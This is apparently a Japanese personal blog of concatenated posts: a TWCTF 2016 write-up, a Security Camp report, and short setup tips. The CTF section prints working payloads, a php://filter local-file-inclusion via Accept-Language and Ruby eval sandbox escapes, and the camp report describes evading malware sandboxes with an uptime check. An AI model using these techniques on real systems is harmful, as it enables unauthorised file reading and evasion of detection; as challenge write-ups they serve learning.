TWCTF 2016 Write-up

TWCTF 2016にチームringolliaで参加しました。チームとしては99位で、私は5個のフラグをsubmitしました。以下、write upです。

Global Page(Web 50)

?page=に値を与えると"."と"/"がremoveされてファイルパスとして評価され結果を返してくるサービスを与えられました。 /?page=tokyoのパスにブラウザでアクセスしてみると、以下の様なphp warningが表示されていました

Warning: include(tokyo/en-US.php): failed to open stream: No such file or directory in /var/www/globalpage/index.php on line 41

Warning: include(): Failed opening 'tokyo/en-US.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/globalpage/index.php on line 41

どうやらAccept-Languageで指定された値をファイル名、pageの値をディレクトリ名として使っているようです。後は自明にphp://filter/でresourceを指定すれば良くて

require "http"

r = HTTP
  .headers("Accept-Language" => "/filter/convert.base64-encode/resource=index")
  .get("http://globalpage.chal.ctf.westerns.tokyo/?page=php:")

puts r.to_s

でindex.phpが降ってきます。index.phpを見ると先頭でflag.phpをincludeしていたので、後は先の方法でflag.phpを持ってくるだけ。 TWCTF{I_found_simple_LFI}

Private / Local / Comment

seccompでシステムコールを制限された状態でevalを実行してくれるプログラムが動いているので、そこからflagを入手する問題群。

Private(PPC 50)

require_relative 'restrict'
Restrict.set_timeout

class Private
  private
  public_methods.each do |method|
    eval "def #{method.to_s};end"
  end

  def flag
    return "TWCTF{CENSORED}"
  end
end

p = Private.new
Private = nil

input = STDIN.gets
fail unless input
input.size > 24 && input = input[0, 24]

Restrict.seccomp

STDOUT.puts eval(input)

組み込みのメソッド含めたすべてのメソッドがprivateに隠蔽されたPrivateインスタンスからflag()を実行させなければいけない.(input <= 24)
特異メソッドを使えば可能。exploitは以下。

require "socket"

payload = 'def p.a;flag;end;p.a'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1111 do |s|
  s.puts payload
  print s.read
end

TWCTF{PrivatePreview}

Local(PPC 70)

require_relative 'restrict'
Restrict.set_timeout

def get_flag(x)
  flag = "TWCTF{CENSORED}"
  x
end

input = STDIN.gets
fail unless input
input.size > 60 && input = input[0, 60]

Restrict.seccomp

STDOUT.puts get_flag(eval(input))

メソッド内に束縛されたローカル変数を読まなければならない。(input <= 60)
set_trace_funcを使用するとrubyインタプリタの実行をトレースできる、これを使ってget_flagのbindingを取得し, そのコンテキスト内でevalすれば終了。

require "socket"

payload = 'set_trace_func proc{|*a|a[4].eval("(p flag) rescue nil")}'
puts "payload length is #{payload.length}"

TCPSocket.open "ppc1.chal.ctf.westerns.tokyo", 1112 do |s|
  s.puts payload
  print s.read
end
# =>
#   nil
#   nil
#   "TWCTF{EnjoyC0untryLife}"
#   "TWCTF{EnjoyC0untryLife}"
#   #<Proc:0x00000000873408@(eval):1>

TWCTF{EnjoyC0untryLife}

glance(misc 50)

アニメgifが与えられた。1フレーム毎に抽出して横につなげて終わり。

$ convert glance.gif +adjoin flame.png
$ convert +append * out.png


TWCTF{Bliss by Charles O'Rear}

ninth(misc 100)

画像ファイルが与えられた。よく分からなかったがbinwalkで埋め込まれてるファイルをextractしてstringsで見たら終わった。想定解法はなんだろう。

$ binwalk ninth.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1200 x 848, 8-bit/color RGBA, non-interlaced
99            0x63            Zlib compressed data, default compression

$ binwalk -e ninth.png

$ cd _ninth.png.extracted/

$ ls
63      63.zlib

$ strings 63
TWCTF{WAMP_Are_You_Ready?}

TWCTF{WAMP_Are_You_Ready?}

セキュリティ・キャンプ全国大会2016 参加記

8月の9日から13日まで、セキュキャンに参加してきました。国のお金で4泊5日、面白い講義を聞いたりオタクと遊んだりできる素晴らしいイベントでした。

応募

応募用紙を書きました。締め切り駆動タイプの人はしんどい思いをすると思うので余裕を持って取り組んだほうがいいです。応募用紙の原文公開は今のところ考えていません。許してください。

事前学習

事前学習をしました。ここでも相変わらず締め切り駆動をキメてしまったのですが、分からないことがあったりした場合に締め切りギリギリに講師ないしチューターの方に聞くのは非常につらいので、早めに始めることをおすすめします。

day1

名刺交換バトル

会場に着くと1時間ほど交流会と称し名刺交換バトルが始まります。名刺は100枚じゃ足りませんでした。あと、短時間で似たような顔のオタクが何十人も本名で自己紹介してきてもそんなにすぐ覚えられません。名刺にツイッターのアイコンを入れておいたりアイコンを印刷したりしておいたほうがいいでと思います。

共通・特別講義

開会式や偉い人のお話があった後にインターポールの人と警察の人がやってきて仕事のことなどについて語ってくれた。興味深い話だったのですがそうは言っても話を聞いているだけなので寝てしまう人はちらほら出てきます。少しでも船を漕ぐとチューターの方が速攻でやってきて起こしてくれるのでちゃんと聞きましょう。

コンビニツアー

セキュキャンは原則外出禁止で、毎日講義や諸々のイベントが終了したあとの夜の時間にロビーに集められ、スタッフの監督下でコンビニツアーが開催されます。高校生や大学生がコンビニに数十人で列をなして向かうのはなかなか壮観です。

部屋は一人一部屋与えられました。学生が泊まるには普通に豪華な宿だったと思います。この日はhideo54の部屋に行ってNEW GAME!を二人で見ていました。

day2

1-D【Dissecting Malware - x86 Windows malware analysis -】

事前課題はIDAを使ってidbファイルにコメントとか付けてみてねというものでした。IDAの使い方を最低限知っておいてねという趣旨のものだと思います。IDAは今までほぼ使ったことがなかったのでこの事前課題は講義にあたって普通に有用でした。

講義では実際のマルウェアを解析したidbファイルが配られて、それを解析しようというものでした。実際のマルウェアの動き方や解析妨害の手法などを順を追って演習しました。実際の仕事ではそのマルウェアの実装より、そのマルウェアが"何ができるのか"がよりクライアントからの需要が高いという話はなるほどとなりました。

2-C【人工知能とセキュリティ】

事前課題は特にありませんでした。 3人の講師の方の講義がこの枠の中で行われました。1人目の方の講義では人工知能の動作原理、数学モデルなどの説明がありました。 2人目の方の講義では実際にtensorflowを使って人工知能、というより深層学習を実際に試してみようというものでした。話は非常に面白かったのですが、スクリプトはほとんど用意されていてあとはコマンドを叩くだけという状態だったので、少し物足りなさは感じました。時間との兼ね合い等もあるのでしょうが、もう少し手を動かして演習できればよかったと思います。 最後の方の講義では実際に機械学習等を使ってどのようなセキュリティ施策が行われているかなどのお話と、今までの講義を踏まえ実際セキュリティ分野にどのように応用可能か、どこが問題点となるかなどを席の島毎に話し合いました。 受講後の感想としては、人工知能という言葉をやたらめったら使うのもいかがなものかな、というのは感じました。

CTF

趣旨としては各班1つraspberry piが与えられ、そこに侵入してそれぞれwebやpwnを解くというものでした。が、開始40分くらいまともに回線が使えなかったりいざ開始してもレベル感が高すぎた(ように見受けられる)などしんどかった。 最初から22,80が開いていたので、あまりnmapをするという発想に至らなかった。終始経験不足を感じていた。

翌日が誕生日(8/11)だったので起きて誕生日を迎えたいな~と思い、起きていることにした。という旨をツイッターで呟いたところ、キャンプに参加しているオタクがお菓子やらを持って部屋に来て祝ってくれた。ありがとうございました!

day 3

3-A【Webアプリケーションの脆弱性の評価と発見】

夜更かしをしたためか8:30に目覚め、講義には遅刻してしまいました。申し訳ない…

サイボウズの実際のサービスとして使われているアプリケーションを載せたVMが事前に配布されていて、前半はそれを用いて脆弱性の検証をし、また、実際にバグハントするにあたりどういったところに気を配るのか、といった講義がありました。 後半は実際に報告された脆弱性CVSS v3を用いて評価しました。組織内で評価の基準を明確に定めておくことが重要だと分かりました。 脆弱性評価に関して非常に実践的な体験をすることができました。

4-C【オンラインゲームアタック&ディフェンスチャレンジ】

Capture the Frog!というnode+websocketで実装されたゲームが事前に配布されており、本番では運営とプレイヤーに分かれA&D方式で競技を行いました。 プレイヤー側は脆弱性を突いたり自動化するなどでアカウントを育て、アカウントを売るとポイントが入り、運営側は30秒毎にチェックが走り、その時にサービスが正常稼働していればポイントが入る、競技終了後にポイントの高かったほうが勝利というゲームでした。 1回戦は運営、2回戦はプレイヤー側でプレイしたのですが、サービスが起動していなくてもペナルティが発生しない、また、サービスは起動していてもレベルアップの処理自体を無効化された際にチェックをすり抜ける等、30秒毎のチェックがガバガバでゲームバランスが崩壊していて残念でした。 A&D自体はゲームバランスが正常ならとても楽しいと思うので、次回やる時はもう少し練って欲しいと思います。

5-A【サーバ運用におけるパスワード管理】

セキュリティ診断をした際にどういった場所からパスワードが出てくるか、どういったところが危ないかなどを聞いた後に、2,3のケーススタディをした。 安全なセキュリティなんて突き詰めたら終わらないのではと思いましたし、最後の一番の脆弱性は人間なんだなぁと感じました。

day4

6・7-F【なぜマルウェア解析は自動化できないのか】

ntddkさんの講義でした。twitterでの印象から過激な人格を想像していたのですが、実際は優しくてかっこいいお兄さんという感じで、講義もとても面白かったです。 事前課題はunicornを用いてアセンブラコードを実行せよというものでした。 講義前半では与えられたマルウェア風のプログラムを改造し、オンラインサンドボックスに検知されないようにしてみようというものでした。サンドボックスは使いまわされているわけではなく毎回生成されているので、uptimeによって処理を変えるようにしてみたところ無事検知を回避できました。なので、やったこと自体は単純なのですが、むしろこんな程度の分岐を加えた程度で判定を迂回できることが驚きでしたし、マルウェア解析自動化の難しさの一端を感じました。 講義の後半はDECAFで叩かれる関数をhookし、引数等を覗いてみよう、angrを使って解析してみようというものでした。angrはだいぶ不安定でした。が、DECAFもangrも面白かったのでこれから使っていきたいと思いました。

day5

グループワーク発表

前日の4時くらいまでhideo氏の部屋に集まってスライドを作っていた。2時くらいからみんなテンションがおかしくなってたよ。 僕達は倫理というテーマで発表をしました。

閉会式

賞状をもらったり記念撮影をしたりしました。おみやげも貰いました。

寿司

監禁明け記念で193sと駅近くの寿司を食べてました。キャンプとかctfとか将来の話をしました。

感想

小学生並の感想だが、とにかく楽しかった。いつになるかはわからないけど、今度はチューターとして応募してみたい。

pycurlでhttp2-requestを行う方法

import pycurl

c = pycurl.Curl()
c.setopt(c.HTTP_VERSION, c.CURL_HTTP_VERSION_2)

OSXでPowとnginxを併用した開発環境を作る

あけましておめでとうございます。今年もよろしくお願いします。

Pow、いいですよね。Rackアプリを開発する際には往々にして役立つと思います。Powderと組み合わせるともっといい感じです。

さて、そのPowですが、80を専有してしまう(Powが実際に動いているポートは20559なのですが、インストール時に80->20559に勝手にPort Forwardingしてしまう)ので、Rackアプリ以外の開発の際には邪魔だったりします。ので、それを解消してnginxと併用していい感じにしよう!という試みです。

Powインストール

まずはPowをインストールします。brewにもパッケージはあるのですが、いろいろな設定を自動でやってくれなかったりしてbrew版powは使い勝手がよろしくないので、インストールスクリプトをそのまま実行したほうがいいと思います。

$ curl get.pow.cx | sh

インストールが終わったら、80->20559へのforwardingを消すために以下のコマンドを実行します。

$ sudo pfctl -a "com.apple/250.PowFirewall" -F all 2>/dev/null || true
$ sudo launchctl unload /Library/LaunchDaemons/cx.pow.firewall.plist 2>/dev/null || true
$ sudo rm -f /Library/LaunchDaemons/cx.pow.firewall.plist

nginxインストール

nginxはbrewでインストールします。

$ brew install nginx

設定ファイルをいじります。

あとはport80をlistenするのでroot権限でnginx起動コマンドを叩いて終わりです。

$ sudo nginx

めんどくさいので端折ったところが多々あります、なにかあったらコメント欄か@にメンション飛ばして聞いてください。

PC(Windows)版LINEでCtrl+Enterでの送信を有効にする

タイトルの通りです。絶対需要があると思うのですが、LINEはいつになったら対応してくれるのでしょうか。
しかたがないのでAutoHotKeyを使ってリマップします。AutoHotKeyについてはこことか見ると良いんじゃないかなと思います。

まず、設定を開き送信方法をAlt+Enterにします。

次にAHKの設定ファイルに

#IfWinActive ahk_class Qt5QWindowIcon
^enter::!enter
#IfWinActive

を記述します。一応説明すると、

#IfWinActive ahk_class Qt5QWindowIcon ←もしLINEのウィンドウがアクティブな時
^enter::!enter ←ctrl+enterのキー押下時にalt+enterを送信する
#IfWinActive ←LINEウィンドウアクティブ時という条件設定を解除

という感じです。

後はAHKの設定ファイルを起動して終わりです。スタートアップ時に起動するようにでもしとけばいいと思います

wordpressをやめた

今までnkpoid.pw,さくらvps上でwordpressを動かしてブログ(?)を運営していたのですがはてなブログにしました。

理由としては、

  • クソみたいなブログのためにwordpressを動かす必要性を感じなかった
  • クソみたいなブログにリソース持っていかれるより有効活用したかった
  • デフォルトでmarkdownを使いたかった

というのがありまして、まぁ上2つは以前のブログ(nkpoid.pw)を見たことがある方なら納得できると思います。

というわけでブログを移行しました。よろしくお願いします。

友利奈緒 その歴史

友利奈緒も、友利奈緒でない方も、お久しぶりです。友利奈緒です。
この記事は友利奈緒 Advent Calendar 2015の2日目の記事になります。 1日目は@mzyy94さんの友利奈緒「いままでとこれから」です。

友利奈緒

西暦2015年7月、ついに友利奈緒が各家庭に配信*されました。これにより、ファーストインパクトならぬファース友利奈緒が引き起こされました。

友利奈緒 その今後

執筆現在でも、フォロワーだけで32もの友利奈緒が発見されました。これからも、友利奈緒は増え続けていくのでしょう。未来のため、世界のため、友利奈緒は終わりません。

3日目は@osaponさんの友利奈緒の魅力です。

お詫び(2015/12/6 追記)

深く考えず変な解釈で聖書を引用し、関係者を不快にさせてしまうような内容を書いてしまいました。該当箇所を削除するとともに、深くお詫び申し上げます。以後このようなことがないよう気をつけます。